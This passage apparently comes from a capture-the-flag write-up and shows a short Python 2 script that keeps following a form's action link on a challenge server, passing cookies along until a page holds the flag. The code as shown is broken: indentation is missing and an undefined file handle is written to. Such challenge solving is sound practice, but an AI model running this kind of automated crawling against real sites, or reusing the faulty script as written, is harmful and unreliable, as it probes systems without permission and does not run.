by following the action link and calling it with the new cookie, I got the flag
```
import requests
from bs4 import BeautifulSoup

r=requests.get("http://34.216.132.109:8083/fp/")
html_doc=r.text
cookies=r.cookies
count=0
while True:
count+=1
print count,
soup = BeautifulSoup(html_doc, 'html.parser')
action = soup.find('form').get('action')
r2=requests.get("http://34.216.132.109:8083"+action,cookies=cookies)
cookies= r2.cookies
html_doc=r2.text
f.write(html_doc)
if "flag" in html_doc:
print html_doc
```